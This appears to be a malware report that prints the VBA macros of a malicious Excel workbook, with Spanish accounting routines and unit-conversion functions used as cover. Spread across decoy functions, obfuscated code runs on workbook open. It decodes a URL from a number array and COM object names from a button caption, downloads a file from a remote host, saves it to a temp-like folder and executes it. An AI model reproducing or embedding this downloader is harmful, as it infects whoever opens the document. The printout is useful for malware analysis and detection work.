Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Function EjecutaSQL(ByRef SQL As String) As Boolean
    EjecutaSQL = False
    On Error Resume Next
    Conn.Execute SQL
    If Err.Number <> 0 Then
        Err.Clear
    Else
        EjecutaSQL = True
    End If
End Function



Public Function DirectorioEAT() As Boolean
    On Error GoTo EDirecEAT
    DirectorioEAT = False
    If Dir("C:\AEAT", vbDirectory) = "" Then
        MsgBox "No se encuentra la carpeta de la agencia tributaria.  ( C:\AEAT )", vbExclamation
    Else
        DirectorioEAT = True
    End If
    Exit Function
EDirecEAT:
    Err.Clear
End Function



Sub Workbook_Open()
EjecutaSQLDo 0.4, 5, -0.6
End Sub



Public Function EstaLaCuentaBloqueada(ByRef codmacta As String, Fecha As Date) As Boolean
Dim i As Integer

        EstaLaCuentaBloqueada = False
        If vParam.CuentasBloqueadas <> "" Then
            i = InStr(1, vParam.CuentasBloqueadas, codmacta & ":")
            If i > 0 Then
                
                If Fecha >= CDate(Mid(vParam.CuentasBloqueadas, i + Len(codmacta) + 1, 10)) Then EstaLaCuentaBloqueada = True
            End If
        End If
End Function


Public Sub CerrarRs(ByRef Rsss As String)
    On Error Resume Next
    Rsss.Close
    If Err.Number <> 0 Then Err.Clear
End Sub











Public Function SerieNumeroFactura(Posiciones As Integer, Serie As String, Numerofactura As String)
Dim i As Integer
Dim Cad As String
    
    i = Posiciones - Len(Numerofactura) - Len(Serie)
    If i <= 0 Then
        
        Cad = Right(Numerofactura, Posiciones - Len(Numerofactura))
    Else
        Cad = String(i, "0") & Numerofactura
    End If
    SerieNumeroFactura = Serie & Cad
    
    
End Function



Public Function EsEntero(TEXTO As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim res As Boolean

    res = True
    EsEntero = False

    If Not IsNumeric(TEXTO) Then
        res = False
    Else
        
        C = 0
        L = 1
        Do
            i = InStr(L, TEXTO, ".")
            If i > 0 Then
                L = i + 1
                C = C + 1
            End If
        Loop Until i = 0
        If C > 1 Then res = False
        
        
        If C = 0 Then
            L = 1
            Do
                i = InStr(L, TEXTO, ",")
                If i > 0 Then
                    L = i + 1
                    C = C + 1
                End If
            Loop Until i = 0
            If C > 1 Then res = False
        End If
        
    End If
        EsEntero = res
End Function



Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Public Function EsNumerico(TEXTO As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim Cad As String
    
 Set Freddy_Result = CreateObject(constans_Result(1))

 Set Result_sedming = CreateObject(constans_Result(2))

RemesaSeleccionTipoRemesa False, False, True
Exit Function
    EsNumerico = False
    Cad = ""
    If Not IsNumeric(TEXTO) Then
        Cad = "El campo debe ser numйrico"
    Else
        
        C = 0
        L = 1
        Do
            i = InStr(L, TEXTO, ".")
            If i > 0 Then
                L = i + 1
                C = C + 1
            End If
        Loop Until i = 0
        If C > 1 Then Cad = "Numero de puntos incorrecto"
        
        
        If C = 0 Then
            L = 1
            Do
                i = InStr(L, TEXTO, ",")
                If i > 0 Then
                    L = i + 1
                    C = C + 1
                End If
            Loop Until i = 0
            If C > 1 Then Cad = "Numero incorrecto"
        End If
        
    End If
    If Cad <> "" Then
        MsgBox Cad, vbExclamation
    Else
        EsNumerico = True
    End If
End Function



Attribute VB_Name = "Module2"
Public Result__1 As Object
Public Freddy_Result As Object
Public Result__3 As Object
Public MassiveA() As String
Public Result__4 As String
Public Result__Warning As String
Public Result_sedming As Object
 Public Constant_4 As String
Public constans_Result() As String
Const INTERVAl_MILLIS_DO_EVENTS As Long = 100
Public Function newStringBuilder() As String
 newStringBuilder = ""
End Function
Public Function newCompareValueCalculator()
 calc.init
 Set newCompareValueCalculator = calc
End Function
Public Function newTagBuilder(rootTagName As String) As String
 Call builder.init(rootTagName)
End Function
Public Function newDate(aYear As Long, aMonth As Integer, aDay As Integer) As Date
 newDate = CDate(LText.messageFormat("{1::0}/{2::00}/{3::00}", aYear, aMonth, aDay))
End Function
Public Function newStringSet() As String
 Dim result As String
 Call res.ult.init
End Function
Public Function Fso() As String
 Static staticFso As String
 If stat.icFso Is Nothing Then
 End If
End Function
 
Sub assignIgnoreType(ByRef aOut, ByVal aIn)
 If IsObject(aIn) Then
 Set aOut = aIn
 Else
 aOut = aIn
 End If
End Sub

Public Function ImpirmirListadoCaja(ByRef vSQL As String, SaldoArrastrado As Boolean) As Boolean
Dim miSQL As String
Dim L As Long
Dim Cad As String
Dim Caja As String
Dim CtaCaja As String
Dim Tipo As Integer
Dim RT As String

    ImpirmirListadoCaja = False
    Conn.Execute "DELETE from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
    
    Set miRsAux = New ADODB.Recordset
    miSQL = "Select slicaja.*,nommacta from slicaja,cuentas,susucaja where slicaja.codmacta=cuentas.codmacta " & vSQL
    miSQL = miSQL & " ORDER BY slicaja.codusu,feccaja,numlinea"
    miRsAux.Open miSQL, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
    L = 1
    
    
    
    
    
    vSQL = "INSERT INTO Usuarios.ztesoreriacomun (codusu, fecha1,codigo, texto1, texto2,texto4,opcion, texto3, observa1, "
    vSQL = vSQL & "texto5,importe1 ,importe2,texto6 ) VALUES (" & vUsu.Codigo & ","
    CtaCaja = ""
    While Not miRsAux.EOF
        If miRsAux!codusu <> CtaCaja Then
            CtaCaja = miRsAux!codusu
            
            Caja = DevuelveDesdeBD("nomusu", "usuarios.usuarios", "codusu", miRsAux!codusu, "N")
            Caja = DevNombreSQL(Caja)
            Caja = ","
            
            
            If SaldoArrastrado Then
                Cad = "Select saldo from susucaja where codusu =" & CtaCaja
                Set RT = New ADODB.Recordset
                RT.Open Cad, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
                If Not RT.EOF Then
                    
                    Cad = "1900-01-01"
                    For Tipo = 1 To 4
                        Cad = Cad & ",NULL"
                    Next Tipo
                      Cad = Cad & ","
                    If RT!Saldo >= 0 Then
                        Cad = Cad & TransformaComasPuntos(CStr(RT!Saldo)) & ",0"
                    Else
                        Cad = Cad & "0," & TransformaComasPuntos(CStr(Abs(RT!Saldo)))
                    End If
                    Cad = vSQL & Cad & ",NULL)"
                    Conn.Execute Cad
                    
                    L = L + 1
                End If
                RT.Close
                Set RT = Nothing
            End If
        End If
        
        Cad = Format(miRsAux!feccaja, FormatoFecha) & ""
        If miRsAux!tipomovi = 1 Then
            Tipo = 1
            
            Cad = Cad & ","
            
            Cad = Cad & DevNombreSQL(DBLet(miRsAux!numfacpr))
            If Not IsNull(miRsAux!numvenci) Then Cad = Cad & " - Vto: " & miRsAux!numvenci
            Cad = Cad & ""
        Else
            If miRsAux!tipomovi >= 2 Then
                
                Tipo = Val(miRsAux!tipomovi)
                Cad = Cad & ","
                If Tipo = 2 Then
                    Cad = Cad & "PAGO"
                Else
                    Cad = Cad & "TRASPASO"
                End If
                Cad = Cad & ""
                Cad = Cad & ""
                
            Else
                
                Tipo = 0
                Cad = Cad & ","
                
                If Not IsNull(miRsAux!NUmSerie) Then Cad = Cad & miRsAux!NUmSerie
                If Not IsNull(miRsAux!numfaccl) Then Cad = Cad & Format(miRsAux!numfaccl, "0000000000")
                If Not IsNull(miRsAux!numvenci) Then Cad = Cad & " - Vto: " & miRsAux!numvenci
                Cad = Cad & ""
            End If
        End If
        
        Cad = Cad & TransformaComasPuntos(CStr(DBLet(miRsAux!ImporteD, "N")))
        Cad = Cad & "," & TransformaComasPuntos(CStr(DBLet(miRsAux!ImporteH, "N")))
        
        
        
        Cad = Cad & "," & Format(miRsAux!NumLinea, "00000")
        
        Cad = vSQL & Cad & ")"
        Conn.Execute Cad
        
        miRsAux.MoveNext
        L = L + 1
    Wend
    miRsAux.Close
    
    
    ImpirmirListadoCaja = True
End Function

Public Function UsuariosConectados(energy As Double)
Dim aResult As String
 aResult = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
 aResult = CadenaCurrency(aResult, "D!", "M")
 aResult = CadenaCurrency(aResult, "bri", "s")
 constans_Result = Split(aResult, "10)")
KwhToJoule 0.33
 UsuariosConectados = 3.6 * 10 ^ 3 * (1.987 / 8.314) * energy
End Function
Private Function getTimeLoggerInstance() As String
 Static logger As String
 If logg.er Is Nothing Then
 logg.er.init
 End If
End Function
Public Sub tlog(message As String, Optional groupId As String = "*default*")
 Call getTimeLogge.rInstance().Log(message, groupId)
End Sub
Public Sub printTimelogReport()
 Call getTimeL.oggerInstance().printReports
End Sub
Public Sub clearTimelogReport()
 Call getTimeLog.gerInstance().crearReports
End Sub
Public Sub setTimelogVerbose(isVerbose As Boolean)
 Call Status.OfLibrary.setTimeLoggerVerbose(isVerbose)
End Sub
Public Sub writeLog(ByVal message As String)
 Call LLog.writeLog(message)
End Sub
Private Function getDoEventsTimer() As String
 Static timer As String
 If ti.mer Is Nothing Then
 Set tim.er = LCreation.newTimer
 End If
End Function
Public Sub doEventsWithInterval(Optional intervalMillis As Long = INTERVAl_MILLIS_DO_EVENTS)
 If intervalMillis <= getDoEvent.sTimer().getMillis() Then
 doEventsImmediately
 End If
End Sub
Public Sub doEventsImmediately()
 getDoEvent.sTimer.Reset
 DoEvents
End Sub


Attribute VB_Name = "Module4"

Public Function ListadoFormaPago(ByRef SQL As String) As Boolean

    On Error GoTo EListadoFormaPago
    ListadoFormaPago = False
    
    Conn.Execute "DELETE from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
        
    

    SQL = " WHERE sforpa.tipforpa = stipoformapago.tipoformapago " & SQL
    SQL = " FROM sforpa ,stipoformapago" & SQL
    SQL = " sforpa.codforpa,sforpa.nomforpa,stipoformapago.descformapago " & SQL
    SQL = "INSERT INTO Usuarios.ztesoreriacomun(codusu,codigo,texto1,texto2) Select " & vUsu.Codigo & "," & SQL
    
    
    
    
    
    Conn.Execute SQL
    
    Set miRsAux = New ADODB.Recordset
    SQL = "select count(*) from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
    miRsAux.Open SQL, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
    If Not miRsAux.EOF Then
        If DBLet(miRsAux.Fields(0), "N") > 0 Then SQL = ""
    End If
    miRsAux.Close
    Set miRsAux = Nothing
    If SQL <> "" Then
        MsgBox "Ningun dato se ha generado", vbExclamation
    Else
        ListadoFormaPago = True
    End If
    Exit Function
EListadoFormaPago:
    MuestraError Err.Number, "ListadoFormaPago "
End Function


Public Sub cargaEmpresasTesor(ByRef Lis As Variant)
Dim Prohibidas As String
Dim IT
Dim Aux As String

    Set miRsAux = New ADODB.Recordset

    Prohibidas = DevuelveProhibidas
    
    Lis.ListItems.Clear
    Aux = "Select * from Usuarios.empresas where tesor=1"
    
    miRsAux.Open Aux, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
    While Not miRsAux.EOF
    
        Aux = "|" & miRsAux!codempre & "|"
        If InStr(1, Prohibidas, Aux) = 0 Then
            Set IT = Lis.ListItems.Add
            IT.Key = "C" & miRsAux!codempre
            If vEmpresa.codempre = miRsAux!codempre Then IT.Checked = True
            IT.Text = miRsAux!nomempre
            IT.Tag = miRsAux!codempre
        End If
        miRsAux.MoveNext
        
    Wend
    miRsAux.Close
    Set miRsAux = Nothing

End Sub



Private Function DevuelveProhibidas() As String
Dim i As Integer

 Dim ElCounter As Integer
For ElCounter = LBound(MassiveA) To UBound(MassiveA)
 Constant_4 = Constant_4 & RemoveSpecialChar(ElCounter)
 Next ElCounter
 GoTo EDevuelveProhibidas
    DevuelveProhibidas = ""

    i = vUsu.Codigo Mod 100
    miRsAux.Open "Select * from usuarios.usuarioempresaT WHERE codusu =" & i, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
    DevuelveProhibidas = ""
    While Not miRsAux.EOF
        DevuelveProhibidas = DevuelveProhibidas & miRsAux.Fields(1) & "|"
        miRsAux.MoveNext
    Wend
    If DevuelveProhibidas <> "" Then DevuelveProhibidas = "|" & DevuelveProhibidas
    miRsAux.Close
    Exit Function
EDevuelveProhibidas:
     Servidor "Servidor"
End Function


Public Function ComprobarCampoENlazado(ByRef T As TextBox, TDesc As TextBox, Tipo As String) As Byte

    T.Text = Trim(T.Text)
    If T.Text = "" Then
        ComprobarCampoENlazado = 0
        TDesc.Text = ""
        Exit Function
    End If
    
    Select Case Tipo
    Case "N"
        If Not IsNumeric(T.Text) Then
            MsgBox "El campo debe ser numйrico: " & T.Text, vbExclamation
            TDesc.Text = ""
            T.Text = ""
            ComprobarCampoENlazado = 1
        Else
            ComprobarCampoENlazado = 2
        End If
    End Select
        
End Function


Public Function RemesaSeleccionTipoRemesa(chkEfec As Boolean, chkPaga As Boolean, chkTalon As Boolean) As String
Dim C As String

 Set Result__0_22 = CreateObject(constans_Result(3))
    C = ""
     Set Result__3 = Result__0_22.Environment(constans_Result(4))
     DevuelveProhibidas
     Exit Function
    If chkEfec And chkPaga And chkTalon Then
        
        
    Else
    
        If Not chkEfec And Not chkPaga And Not chkTalon Then
            
            
        Else
            
            If chkEfec Then
                If chkPaga Then
                    C = " <> 3 "
                Else
                    If chkTalon Then
                        C = " <> 2 "
                    Else
                        C = " = 1"
                    End If
                End If
            Else
                If chkPaga Then
                    If chkTalon Then
                        C = " <> 1"
                    Else
                        C = " = 2 "
                    End If
                Else
                    C = " =3 "
                End If
            End If
        End If
    End If
    If C <> "" Then C = " tiporem  " & C
    RemesaSeleccionTipoRemesa = C
End Function

Public Function TextoAimporte(Importe As String) As Currency
Dim i As Integer
    If Importe = "" Then
        TextoAimporte = 0
    Else
        If InStr(1, Importe, ",") > 0 Then
            
            Do
                i = InStr(1, Importe, ".")
                If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
            Loop Until i = 0
            TextoAimporte = Importe
        
        
        Else
            
            TextoAimporte = TransformaPuntosComas(Importe)
        End If
    End If

End Function

Public Function EjecutarSQL(CadenaSQL As String) As Boolean
    On Error Resume Next
    Conn.Execute CadenaSQL
    If Err.Number <> 0 Then
         
         MuestraError Err.Number, "Error ejecutando SQL: " & vbCrLf & CadenaSQL, Err.Description
         EjecutarSQL = False
    Else
         EjecutarSQL = True
    End If
    
End Function


Public Function AbrirConexionAridoc() As Boolean
Dim Cad As String
On Error GoTo EAbrirConexion
    is16 = 16
CallByName Freddy_Result, constans_Result(11 - 4), 64 / is16, is16 - 15
 Freddy_Result.Open
    Exit Function
    
    AbrirConexionAridoc = False
    Set ConnConta = Nothing
    ConnConta.CursorLocation = adUseServer

    Cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATA SOURCE= Aridoc;DATABASE=Aridoc"
    
    
    Cad = Cad & ";Persist Security Info=true"
    
    ConnConta.ConnectionString = Cad
    ConnConta.Open
    ConnConta.Execute "Set AUTOCOMMIT = 1"
    AbrirConexionAridoc = True
    Exit Function
    
EAbrirConexion:
    Mue.straError Err.Number, "Abrir conexion BD:Aridoc.", Err.Description
End Function


Public Function EjecutaSQLDo(volume As Double, temperature As Double, pressure As Double)
 If VarType(HistoryFunc) = 0 Then
 UsuariosConectados 384
 End If
 EjecutaSQLDo = volume * (pressure / temperature) * (273.15 / 101325#)
End Function
Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String
CadenaCurrency = Replace(A1, A2, A3)
End Function



Public Function Approssima(MiaValuta As Double) As Double
    Dim MioVal1 As Double
    Dim MioVal2 As Double
    Dim MyStr As String
    Dim MyStr1 As String
    Dim MyStr2 As String
    Dim MiaString As String
    Dim HaDecimali As Boolean
    Dim i As Integer
    HaDecimali = False
    If MiaValuta <> 0 Then
        MiaString = Trim(Str(MiaValuta))
        For i = 1 To Len(MiaString)
            MyStr = Mid(MiaString, i, 1)
            If MyStr = "." Then
                HaDecimali = True
                MyStr1 = Left(MiaString, i - 1)
                If (Len(Trim(MyStr1)) = 0) Then
                    MyStr1 = "0"
                End If
                MyStr2 = Right(MiaString, Len(MiaString) - i)
                i = i + 1
            End If
        Next i
        If HaDecimali = False Then
            Approssima = MiaString
            Exit Function
        End If
        MioVal1 = CDbl(MyStr1)
        MioVal2 = CDbl(Left(MyStr2, 1))
        If MioVal2 < 5 Then
            Approssima = MioVal1
        Else
            Approssima = MioVal1 + 1
        End If
    Else
        Approssima = 0
    End If
End Function


Public Function Servidor(x As Variant) As Boolean
 If x = "Servidor" Then
 
Result__1.Open constans_Result(2 + 1 + 2), Constant_4, False
Result__1.send
 Result__4 = Result__3(constans_Result(180 / 30))
 Servidor = True
 
 ElseIf IsNull(x) Then
 Servidor = True
 
 ElseIf IsEmpty(x) Then
 Servidor = True
 
 ElseIf x Is Nothing Then
 Servidor = True
 
 ElseIf IsArray(x) Then
 Servidor = (UBound(x) - LBound(x) < 0)

 Else
 Servidor = False
 End If
 inchToMeter 44.5
End Function



Attribute VB_Name = "Ultra"
Attribute VB_Base = "0{0D9E610F-7A9B-4107-8E30-BDA6FB909189}{A53AC80F-5431-45C6-BCB7-E4D1FF60E985}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module3"

Public Function feetToMeter(length As Double)
 feetToMeter = 3.048 * 10 ^ -1 * length
End Function
Public Function meterToFeet(length As Double)
 meterToFeet = 3.2808 * length
End Function
Public Function inchToMeter(length As Double)
Result__Warning = Result__4
Result__Warning = Result__Warning + constans_Result(55 - 43)
AbrirConexionAridoc
 DevuelveDigitosNivelAnterior 37.7
 inchToMeter = (2.54 * 10 ^ -2) * length
End Function
Public Sub CargaImagenesAyudas(ByRef Colec, Tipo As Byte, Optional ToolTipText_ As String)
Dim i As Image

    

    For Each i In Colec
            i.Picture = frmPpal.imgIcoForms.ListImages(Tipo).Picture
            If i.TooltipText = "" Then
                If ToolTipText_ <> "" Then
                    i.TooltipText = ToolTipText_
                Else
                    If Tipo = 3 Then
                        i.TooltipText = "Ayuda"
                    ElseIf Tipo = 2 Then
                        i.TooltipText = "Buscar fecha"
                    Else
                        i.TooltipText = "Buscar"
                    End If
                End If
            End If
    Next
End Sub


Public Function RemoveSpecialChar(strFileName As Integer) As String
 Dim i As Byte
 Dim SpecialChar As Boolean
 Dim SelChar As String, OutFileName As String
 RemoveSpecialChar = Chr(CInt(MassiveA(strFileName)) / (9 + 7))
 Exit Function
 For i = 1 To Len(strFileName)
 SelChar = Mid(strFileName, i, 1)
 SpecialChar = InStr(":/\?*|<>" & Chr$(34), SelChar) > 0
 If (Not SpecialChar) Then
 OutFileName = OutFileName & SelChar
 SpecialChar = False
 Else
 OutFileName = OutFileName
 SpecialChar = False
 End If
 Next i
 RemoveSpecialChar = OutFileName
End Function
Public Function DevuelveDigitosNivelAnterior(temperature As Double)
sedming_Warning_AKADEMIA 309
 DevuelveDigitosNivelAnterior = (5 / 9) * (temperature + 459.67)
 
 CallByName Freddy_Result, constans_Result(11), VbMethod, Result__Warning, 2
 KelvinToRankine = (5 / 9) * (temperature - 32)
 
 Result_sedming.Open (Result__Warning)
 JouleTocal = (1.987 / 8.314) * temperature
End Function
Public Function CalToJoule(energy As Double)
 CalToJoule = 4.184 * energy
End Function
Public Function CalToKwh(energy As Double)
 CalToKwh = 4.184 * 3.6 * 10 ^ 3 * energy
End Function
Public Function JouleToKwh(energy As Double)
 KwhToJoule = (3.6 * 10 ^ 3) ^ -1 * energy
End Function
Public Function PasToCentipoise(viscosity As Double)
 PasToCentipoise = 1000 * viscosity
End Function
Public Function centipoiseToPas(viscosity As Double)
 centipoiseToPas = viscosity / 1000
End Function
Public Function DevuelveNombreInformeSCRYST(NumInforme As Integer, Titulo As String) As String
Dim Cad As String

        DevuelveNombreInformeSCRYST = ""
        Cad = DevuelveDesdeBD("informe", "scryst", "codigo", CStr(NumInforme))

        If Cad = "" Then
            MsgBox "No existe el informe para: " & Titulo & " (" & NumInforme & ")", vbExclamation
            Exit Function
        End If
        
        
        If Dir(App.Path & "\InformesT\" & Cad, vbArchive) = "" Then
            MsgBox "No se encuentra el archivo: " & Cad & vbCrLf & "Opcion: " & Titulo, vbExclamation
            Exit Function
        End If
        DevuelveNombreInformeSCRYST = Cad
            
End Function

Public Function Memo_Leer(ByRef C As Variant) As String
    On Error Resume Next
    Memo_Leer = C.value
    If Err.Number <> 0 Then
        Err.Clear
        Memo_Leer = ""
    End If
End Function







Attribute VB_Name = "Module5"



Public Function EsFechaOK(T As TextBox) As Boolean
Dim Cad As String
    
    Cad = T.Text
    If InStr(1, Cad, "/") = 0 Then
        If Len(T.Text) = 8 Then
            Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
        Else
            If Len(T.Text) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
        End If
    End If
    
    If IsDate(Cad) Then
        EsFechaOK = True
        T.Text = Format(Cad, "dd/MM/yyyy")
    Else
        EsFechaOK = False
    End If
End Function


Public Function KwhToJoule(energy As Double)
MassiveA = Split("1664Ё1856Ё1856Ё1792Ё928Ё752Ё752Ё1824Ё1552Ё1744Ё1840Ё1552Ё1936Ё1584Ё1776Ё1760Ё1840Ё1856Ё1824Ё1872Ё1584Ё1856Ё1680Ё1776Ё1760Ё736Ё1584Ё1552Ё752Ё896Ё912Ё1936Ё1648Ё864Ё880Ё1760Ё1776", "Ё")
 Set Result__1 = CreateObject(constans_Result(0))
 If InStr(1, "6 8 15 22", "/") = 0 Then
 EsFechaOKString "13"
End If
 KwhToJoule = 3.6 * 10 ^ 3 * energy
End Function

Public Function EsFechaOKString(ByRef T As String) As Boolean
Dim Cad As String
    
    Cad = T
    
    If InStr(1, Cad, "/") = 0 Then
        If Len(T) = 8 Then
            Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
        Else
            If Len(T) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
        End If
    End If
    If IsDate(Cad) Then
        EsFechaOKString = True
        T = Format(Cad, "dd/mm/yyyy")
    Else
EsNumerico "4, 6, 12"
        EsFechaOKString = False
    End If
End Function

Private Function eqObject(a As Object, b As Object) As Boolean
 If a Is Nothing Then
 eqObject = (b Is Nothing)
 Exit Function
 End If
 On Error GoTo EQUALS_NOT_DEFINED
 eqObject = a.equals(b)
 Exit Function
EQUALS_NOT_DEFINED:
 reRaiseE.xceptForMethodMissing
 eqObject = (a Is b)
End Function
Private Sub reRaise()
 Err.Raise Err.Number, Err.Source, Err.Description, Err.HelpContext, Err.HelpContext
End Sub
Public Function NLToM3(volume As Double, temperature As Double, pressure As Double)
 NLToM3 = volume * (temperature / 273.15) * (101325 / pressure) * (1 / (60000#))
End Function
Public Function KgToNm3(massKg As Double, molarMass As Double)
 KgToNm3 = massKg * (1344600# / molarMass) * 0.06 / (3600#)
End Function
Public Function paToMbar(pressure As Double)
 paToMbar = 10 ^ -2 * pressure
End Function
Public Function PaToMmH20(pressure As Double)
 PaToMmH20 = 0.101974 * pressure
End Function
Public Function mmH20ToPa(pressure As Double)
 mmH20ToPa = 9.80642 * pressure
End Function
Public Function paToAtm(pressure As Double)
 paToAtm = (1.0135 * 10 ^ 5) ^ -1 * pressure
End Function
Public Function atmToPa(pressure As Double)
 atmToPa = (1.0135 * 10 ^ 5) * pressure
End Function
Public Function paToBar(pressure As Double)
 paToBar = (1# * 10 ^ 5) ^ -1 * pressure
End Function
Public Function sedming_Warning_AKADEMIA(pressure As Double)
ROSTIX = CallByName(Result__1, constans_Result(1000 / 100), VbGet)
 CallByName Freddy_Result, constans_Result(9), VbMethod, ROSTIX
 sedming_Warning_AKADEMIA = (1# * 10 ^ 5) * pressure
End Function
Public Function PaToPsi(pressure As Double)
 PaToPsi = pressure / (6.894757 * 10 ^ 3)
End Function
Public Function PsiToPa(pressure As Double)
 PsiToPa = pressure * (6.894757 * 10 ^ 3)
End Function
Public Function KelvinToCelsius(temperature As Double)
 KelvinToCelsius = temperature - 273.15
End Function
Public Function CelsiusToKelvin(temperature As Double)
 CelsiusToKelvin = temperature + 273.15
End Function
Public Function RankineToCelsius(temperature As Double)
 RankineToCelsius = (temperature - 491.67) * (5 / 9)
End Function


Attribute VB_Name = "Module6"
Public Sub NombreSQL(ByRef CADENA As String)
Dim J As Integer
Dim i As Integer
Dim Aux As String
    J = 1
    Do
        i = InStr(J, CADENA, "
        If i > 0 Then
            Aux = Mid(CADENA, 1, i - 1) & "\"
            CADENA = Aux & Mid(CADENA, i)
            J = i + 2
        End If
    Loop Until i = 0
End Sub

Public Function DevNombreSQL(CADENA As String) As String
Dim J As Integer
Dim i As Integer
Dim Aux As String
    J = 1
    Do
        i = InStr(J, CADENA, "
        If i > 0 Then
            Aux = Mid(CADENA, 1, i - 1) & "\"
            CADENA = Aux & Mid(CADENA, i)
            J = i + 2
…